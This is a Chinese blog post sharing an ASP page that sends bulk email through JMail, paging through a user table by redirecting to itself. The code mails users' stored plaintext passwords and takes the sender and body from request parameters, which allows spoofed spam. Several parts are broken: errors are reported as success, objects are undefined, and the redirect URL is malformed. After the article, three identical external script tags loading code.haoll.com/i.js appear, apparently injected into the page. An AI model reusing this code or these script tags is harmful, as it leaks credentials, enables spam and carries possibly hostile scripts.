使用ASP+jmail進行郵件羣發

這段時間看到有太多的人迷茫於郵件的羣發。

所以把自己以前寫的一個東東拿出來與大家分享。希望大家能夠舉一反三。

關鍵是如果構建一個自身調用的方法,還有在大數據量的情況下,使用數組來代替記錄集。

自身的調用可以有很多的應用。除了郵件的羣發,還有譬如自身的遞歸。很多人想實現取得不重複隨機數就可以使用下面得思路。

當然,實現總不是一種,而是多樣化得,你還可以有更好得方法。希望能夠和大家切磋!

這個頁面叫做email_sendall.asp

<%on error resume next%>
<!--這裏是你們的包含文件-->
<%

if request("Page")="" then
CPage=1
else
Cpage=request("Page")
end if
'接受郵件內容,當然,也可以從數據庫種查詢
comment=request("comment")
'定義郵件數組
Dim emailArray
sql_email="SELECT useremail,userregname,userpassword  FROM email"
Set Recordsetemail=Server.CreateObject("ADODB.Recordset")
Recordsetemail.ActiveConnection=cnn
Recordsetemail.Source=sql_email
Recordsetemail.CursorType=3
Recordsetemail.CursorLocation=2
Recordsetemail.LockType=1
Recordsetemail.Pagesize=5
Recordsetemail.Open()
Recordsetemail.AbsolutePage=CPage
Page_Count=Recordsetemail.PageCount
'把數據庫中的讀取到數組中。
emailArray=Recordsetemail.Getrows(5,0)
Recordsetemail.close
if err.number<>0 then
JMail.Close
response.write "郵件羣發成功!"
response.end
else

end if

set Recordsetemail=nothing
if isarray(emailArray) then
 Repeat1__index=0
 dim U_emailArray
 U_emailArray=ubound(emailArray,2)
 While(Repeat1__index<=U_emailArray) 
  comment1=replace(comment,"</user>",emailarray(1,Repeat1__index))
  comment1=replace(comment1,"</password>",emailarray(2,Repeat1__index))
    Set JMail=Server.CreateObject("JMail.SMTPMail")
    JMail.ContentType="text/html"
    JMail.Encoding = "base64"
    JMail.Charset="gb2312"
    jmail.Sender=request("fromwho")
    JMail.Subject = request("subject")
    JMail.AddRecipient(emailarray(0,Repeat1__index))
    JMail.Body =comment1
    JMail.AddHeader "Originating-IP", Request.ServerVariables("REMOTE_ADDR")


    JMail.Execute
    JMail.Close
    response.Write(request("ToWho"))
    response.Write(" 成功發送!<BR>")
    Set JMail = Nothing

  Repeat1__index=Repeat1__index+1
 wend
else

end if

Recordset1.Close()
Set Recordset1 = Nothing
'構建一個自身請求自身的方法
response.redirect "email_sendall.asp?page="&(cpage+1)&"subject="&request("subject")&"fromwho="&request("fromwho")&"comment="&comment
%>
歡迎大家下載http://www.xzss.com/lqy/vml.rar

裏面有一個簡單的圖表類

使用方法是講test.asp中的那個屬性設定爲1到4就可以了。時間關係,還需要修改。

不盡完善,歡迎批評指正!

 

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=14379

<script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章